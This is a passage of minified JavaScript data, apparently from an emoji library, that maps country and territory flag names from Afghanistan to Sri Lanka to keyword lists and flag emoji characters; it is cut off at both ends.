ountry","banner"],char:"\ud83c\udde6\ud83c\uddeb",fitzpatrick_scale:!1,category:"flags"},aland_islands:{keywords:["\xc5land","islands","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddfd",fitzpatrick_scale:!1,category:"flags"},albania:{keywords:["al","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},algeria:{keywords:["dz","flag","nation","country","banner"],char:"\ud83c\udde9\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},american_samoa:{keywords:["american","ws","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},andorra:{keywords:["ad","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\udde9",fitzpatrick_scale:!1,category:"flags"},angola:{keywords:["ao","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},anguilla:{keywords:["ai","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},antarctica:{keywords:["aq","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddf6",fitzpatrick_scale:!1,category:"flags"},antigua_barbuda:{keywords:["antigua","barbuda","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},argentina:{keywords:["ar","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},armenia:{keywords:["am","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},aruba:{keywords:["aw","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},australia:{keywords:["au","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},austria:{keywords:["at","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},azerbaijan:{keywords:["az","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},bahamas:{keywords:["bs","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},bahrain:{keywords:["bh","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\udded",fitzpatrick_scale:!1,category:"flags"},bangladesh:{keywords:["bd","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\udde9",fitzpatrick_scale:!1,category:"flags"},barbados:{keywords:["bb","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\udde7",fitzpatrick_scale:!1,category:"flags"},belarus:{keywords:["by","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddfe",fitzpatrick_scale:!1,category:"flags"},belgium:{keywords:["be","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},belize:{keywords:["bz","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},benin:{keywords:["bj","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddef",fitzpatrick_scale:!1,category:"flags"},bermuda:{keywords:["bm","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},bhutan:{keywords:["bt","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},bolivia:{keywords:["bo","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},caribbean_netherlands:{keywords:["bonaire","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddf6",fitzpatrick_scale:!1,category:"flags"},bosnia_herzegovina:{keywords:["bosnia","herzegovina","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},botswana:{keywords:["bw","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},brazil:{keywords:["br","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},british_indian_ocean_territory:{keywords:["british","indian","ocean","territory","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},british_virgin_islands:{keywords:["british","virgin","islands","bvi","flag","nation","country","banner"],char:"\ud83c\uddfb\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},brunei:{keywords:["bn","darussalam","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},bulgaria:{keywords:["bg","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},burkina_faso:{keywords:["burkina","faso","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddeb",fitzpatrick_scale:!1,category:"flags"},burundi:{keywords:["bi","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},cape_verde:{keywords:["cabo","verde","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddfb",fitzpatrick_scale:!1,category:"flags"},cambodia:{keywords:["kh","flag","nation","country","banner"],char:"\ud83c\uddf0\ud83c\udded",fitzpatrick_scale:!1,category:"flags"},cameroon:{keywords:["cm","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},canada:{keywords:["ca","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},canary_islands:{keywords:["canary","islands","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\udde8",fitzpatrick_scale:!1,category:"flags"},cayman_islands:{keywords:["cayman","islands","flag","nation","country","banner"],char:"\ud83c\uddf0\ud83c\uddfe",fitzpatrick_scale:!1,category:"flags"},central_african_republic:{keywords:["central","african","republic","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddeb",fitzpatrick_scale:!1,category:"flags"},chad:{keywords:["td","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\udde9",fitzpatrick_scale:!1,category:"flags"},chile:{keywords:["flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},cn:{keywords:["china","chinese","prc","flag","country","nation","banner"],char:"\ud83c\udde8\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},christmas_island:{keywords:["christmas","island","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddfd",fitzpatrick_scale:!1,category:"flags"},cocos_islands:{keywords:["cocos","keeling","islands","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\udde8",fitzpatrick_scale:!1,category:"flags"},colombia:{keywords:["co","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},comoros:{keywords:["km","flag","nation","country","banner"],char:"\ud83c\uddf0\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},congo_brazzaville:{keywords:["congo","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},congo_kinshasa:{keywords:["congo","democratic","republic","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\udde9",fitzpatrick_scale:!1,category:"flags"},cook_islands:{keywords:["cook","islands","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddf0",fitzpatrick_scale:!1,category:"flags"},costa_rica:{keywords:["costa","rica","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},croatia:{keywords:["hr","flag","nation","country","banner"],char:"\ud83c\udded\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},cuba:{keywords:["cu","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},curacao:{keywords:["cura\xe7ao","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},cyprus:{keywords:["cy","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddfe",fitzpatrick_scale:!1,category:"flags"},czech_republic:{keywords:["cz","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},denmark:{keywords:["dk","flag","nation","country","banner"],char:"\ud83c\udde9\ud83c\uddf0",fitzpatrick_scale:!1,category:"flags"},djibouti:{keywords:["dj","flag","nation","country","banner"],char:"\ud83c\udde9\ud83c\uddef",fitzpatrick_scale:!1,category:"flags"},dominica:{keywords:["dm","flag","nation","country","banner"],char:"\ud83c\udde9\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},dominican_republic:{keywords:["dominican","republic","flag","nation","country","banner"],char:"\ud83c\udde9\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},ecuador:{keywords:["ec","flag","nation","country","banner"],char:"\ud83c\uddea\ud83c\udde8",fitzpatrick_scale:!1,category:"flags"},egypt:{keywords:["eg","flag","nation","country","banner"],char:"\ud83c\uddea\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},el_salvador:{keywords:["el","salvador","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddfb",fitzpatrick_scale:!1,category:"flags"},equatorial_guinea:{keywords:["equatorial","gn","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddf6",fitzpatrick_scale:!1,category:"flags"},eritrea:{keywords:["er","flag","nation","country","banner"],char:"\ud83c\uddea\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},estonia:{keywords:["ee","flag","nation","country","banner"],char:"\ud83c\uddea\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},ethiopia:{keywords:["et","flag","nation","country","banner"],char:"\ud83c\uddea\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},eu:{keywords:["european","union","flag","banner"],char:"\ud83c\uddea\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},falkland_islands:{keywords:["falkland","islands","malvinas","flag","nation","country","banner"],char:"\ud83c\uddeb\ud83c\uddf0",fitzpatrick_scale:!1,category:"flags"},faroe_islands:{keywords:["faroe","islands","flag","nation","country","banner"],char:"\ud83c\uddeb\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},fiji:{keywords:["fj","flag","nation","country","banner"],char:"\ud83c\uddeb\ud83c\uddef",fitzpatrick_scale:!1,category:"flags"},finland:{keywords:["fi","flag","nation","country","banner"],char:"\ud83c\uddeb\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},fr:{keywords:["banner","flag","nation","france","french","country"],char:"\ud83c\uddeb\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},french_guiana:{keywords:["french","guiana","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddeb",fitzpatrick_scale:!1,category:"flags"},french_polynesia:{keywords:["french","polynesia","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddeb",fitzpatrick_scale:!1,category:"flags"},french_southern_territories:{keywords:["french","southern","territories","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddeb",fitzpatrick_scale:!1,category:"flags"},gabon:{keywords:["ga","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},gambia:{keywords:["gm","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},georgia:{keywords:["ge","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},de:{keywords:["german","nation","flag","country","banner"],char:"\ud83c\udde9\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},ghana:{keywords:["gh","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\udded",fitzpatrick_scale:!1,category:"flags"},gibraltar:{keywords:["gi","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},greece:{keywords:["gr","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},greenland:{keywords:["gl","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},grenada:{keywords:["gd","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\udde9",fitzpatrick_scale:!1,category:"flags"},guadeloupe:{keywords:["gp","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddf5",fitzpatrick_scale:!1,category:"flags"},guam:{keywords:["gu","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},guatemala:{keywords:["gt","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},guernsey:{keywords:["gg","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},guinea:{keywords:["gn","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},guinea_bissau:{keywords:["gw","bissau","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},guyana:{keywords:["gy","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddfe",fitzpatrick_scale:!1,category:"flags"},haiti:{keywords:["ht","flag","nation","country","banner"],char:"\ud83c\udded\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},honduras:{keywords:["hn","flag","nation","country","banner"],char:"\ud83c\udded\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},hong_kong:{keywords:["hong","kong","flag","nation","country","banner"],char:"\ud83c\udded\ud83c\uddf0",fitzpatrick_scale:!1,category:"flags"},hungary:{keywords:["hu","flag","nation","country","banner"],char:"\ud83c\udded\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},iceland:{keywords:["is","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},india:{keywords:["in","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},indonesia:{keywords:["flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\udde9",fitzpatrick_scale:!1,category:"flags"},iran:{keywords:["iran,","islamic","republic","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},iraq:{keywords:["iq","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\uddf6",fitzpatrick_scale:!1,category:"flags"},ireland:{keywords:["ie","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},isle_of_man:{keywords:["isle","man","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},israel:{keywords:["il","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},it:{keywords:["italy","flag","nation","country","banner"],char:"\ud83c\uddee\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},cote_divoire:{keywords:["ivory","coast","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},jamaica:{keywords:["jm","flag","nation","country","banner"],char:"\ud83c\uddef\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},jp:{keywords:["japanese","nation","flag","country","banner"],char:"\ud83c\uddef\ud83c\uddf5",fitzpatrick_scale:!1,category:"flags"},jersey:{keywords:["je","flag","nation","country","banner"],char:"\ud83c\uddef\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},jordan:{keywords:["jo","flag","nation","country","banner"],char:"\ud83c\uddef\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},kazakhstan:{keywords:["kz","flag","nation","country","banner"],char:"\ud83c\uddf0\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},kenya:{keywords:["ke","flag","nation","country","banner"],char:"\ud83c\uddf0\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},kiribati:{keywords:["ki","flag","nation","country","banner"],char:"\ud83c\uddf0\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},kosovo:{keywords:["xk","flag","nation","country","banner"],char:"\ud83c\uddfd\ud83c\uddf0",fitzpatrick_scale:!1,category:"flags"},kuwait:{keywords:["kw","flag","nation","country","banner"],char:"\ud83c\uddf0\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},kyrgyzstan:{keywords:["kg","flag","nation","country","banner"],char:"\ud83c\uddf0\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},laos:{keywords:["lao","democratic","republic","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},latvia:{keywords:["lv","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\uddfb",fitzpatrick_scale:!1,category:"flags"},lebanon:{keywords:["lb","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\udde7",fitzpatrick_scale:!1,category:"flags"},lesotho:{keywords:["ls","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},liberia:{keywords:["lr","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},libya:{keywords:["ly","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\uddfe",fitzpatrick_scale:!1,category:"flags"},liechtenstein:{keywords:["li","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},lithuania:{keywords:["lt","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},luxembourg:{keywords:["lu","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},macau:{keywords:["macao","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},macedonia:{keywords:["macedonia,","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf0",fitzpatrick_scale:!1,category:"flags"},madagascar:{keywords:["mg","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},malawi:{keywords:["mw","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},malaysia:{keywords:["my","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddfe",fitzpatrick_scale:!1,category:"flags"},maldives:{keywords:["mv","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddfb",fitzpatrick_scale:!1,category:"flags"},mali:{keywords:["ml","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},malta:{keywords:["mt","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},marshall_islands:{keywords:["marshall","islands","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\udded",fitzpatrick_scale:!1,category:"flags"},martinique:{keywords:["mq","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf6",fitzpatrick_scale:!1,category:"flags"},mauritania:{keywords:["mr","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},mauritius:{keywords:["mu","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},mayotte:{keywords:["yt","flag","nation","country","banner"],char:"\ud83c\uddfe\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},mexico:{keywords:["mx","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddfd",fitzpatrick_scale:!1,category:"flags"},micronesia:{keywords:["micronesia,","federated","states","flag","nation","country","banner"],char:"\ud83c\uddeb\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},moldova:{keywords:["moldova,","republic","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\udde9",fitzpatrick_scale:!1,category:"flags"},monaco:{keywords:["mc","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\udde8",fitzpatrick_scale:!1,category:"flags"},mongolia:{keywords:["mn","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},montenegro:{keywords:["me","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},montserrat:{keywords:["ms","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},morocco:{keywords:["ma","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},mozambique:{keywords:["mz","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},myanmar:{keywords:["mm","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},namibia:{keywords:["na","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},nauru:{keywords:["nr","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},nepal:{keywords:["np","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddf5",fitzpatrick_scale:!1,category:"flags"},netherlands:{keywords:["nl","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},new_caledonia:{keywords:["new","caledonia","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\udde8",fitzpatrick_scale:!1,category:"flags"},new_zealand:{keywords:["new","zealand","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},nicaragua:{keywords:["ni","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},niger:{keywords:["ne","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},nigeria:{keywords:["flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},niue:{keywords:["nu","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},norfolk_island:{keywords:["norfolk","island","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddeb",fitzpatrick_scale:!1,category:"flags"},northern_mariana_islands:{keywords:["northern","mariana","islands","flag","nation","country","banner"],char:"\ud83c\uddf2\ud83c\uddf5",fitzpatrick_scale:!1,category:"flags"},north_korea:{keywords:["north","korea","nation","flag","country","banner"],char:"\ud83c\uddf0\ud83c\uddf5",fitzpatrick_scale:!1,category:"flags"},norway:{keywords:["no","flag","nation","country","banner"],char:"\ud83c\uddf3\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},oman:{keywords:["om_symbol","flag","nation","country","banner"],char:"\ud83c\uddf4\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},pakistan:{keywords:["pk","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddf0",fitzpatrick_scale:!1,category:"flags"},palau:{keywords:["pw","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},palestinian_territories:{keywords:["palestine","palestinian","territories","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},panama:{keywords:["pa","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},papua_new_guinea:{keywords:["papua","new","guinea","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},paraguay:{keywords:["py","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddfe",fitzpatrick_scale:!1,category:"flags"},peru:{keywords:["pe","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},philippines:{keywords:["ph","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\udded",fitzpatrick_scale:!1,category:"flags"},pitcairn_islands:{keywords:["pitcairn","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},poland:{keywords:["pl","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},portugal:{keywords:["pt","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},puerto_rico:{keywords:["puerto","rico","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},qatar:{keywords:["qa","flag","nation","country","banner"],char:"\ud83c\uddf6\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},reunion:{keywords:["r\xe9union","flag","nation","country","banner"],char:"\ud83c\uddf7\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},romania:{keywords:["ro","flag","nation","country","banner"],char:"\ud83c\uddf7\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},ru:{keywords:["russian","federation","flag","nation","country","banner"],char:"\ud83c\uddf7\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},rwanda:{keywords:["rw","flag","nation","country","banner"],char:"\ud83c\uddf7\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},st_barthelemy:{keywords:["saint","barth\xe9lemy","flag","nation","country","banner"],char:"\ud83c\udde7\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},st_helena:{keywords:["saint","helena","ascension","tristan","cunha","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\udded",fitzpatrick_scale:!1,category:"flags"},st_kitts_nevis:{keywords:["saint","kitts","nevis","flag","nation","country","banner"],char:"\ud83c\uddf0\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},st_lucia:{keywords:["saint","lucia","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\udde8",fitzpatrick_scale:!1,category:"flags"},st_pierre_miquelon:{keywords:["saint","pierre","miquelon","flag","nation","country","banner"],char:"\ud83c\uddf5\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},st_vincent_grenadines:{keywords:["saint","vincent","grenadines","flag","nation","country","banner"],char:"\ud83c\uddfb\ud83c\udde8",fitzpatrick_scale:!1,category:"flags"},samoa:{keywords:["ws","flag","nation","country","banner"],char:"\ud83c\uddfc\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},san_marino:{keywords:["san","marino","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},sao_tome_principe:{keywords:["sao","tome","principe","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},saudi_arabia:{keywords:["flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},senegal:{keywords:["sn","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},serbia:{keywords:["rs","flag","nation","country","banner"],char:"\ud83c\uddf7\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},seychelles:{keywords:["sc","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\udde8",fitzpatrick_scale:!1,category:"flags"},sierra_leone:{keywords:["sierra","leone","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},singapore:{keywords:["sg","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},sint_maarten:{keywords:["sint","maarten","dutch","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddfd",fitzpatrick_scale:!1,category:"flags"},slovakia:{keywords:["sk","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddf0",fitzpatrick_scale:!1,category:"flags"},slovenia:{keywords:["si","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},solomon_islands:{keywords:["solomon","islands","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\udde7",fitzpatrick_scale:!1,category:"flags"},somalia:{keywords:["so","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},south_africa:{keywords:["south","africa","flag","nation","country","banner"],char:"\ud83c\uddff\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},south_georgia_south_sandwich_islands:{keywords:["south","georgia","sandwich","islands","flag","nation","country","banner"],char:"\ud83c\uddec\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},kr:{keywords:["south","korea","nation","flag","country","banner"],char:"\ud83c\uddf0\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},south_sudan:{keywords:["south","sd","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},es:{keywords:["spain","flag","nation","country","banner"],char:"\ud83c\uddea\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},sri_lanka:{keywords:["sri","lanka","flag","nation","country","banner"],char:"\ud83c\uddf1\ud83c\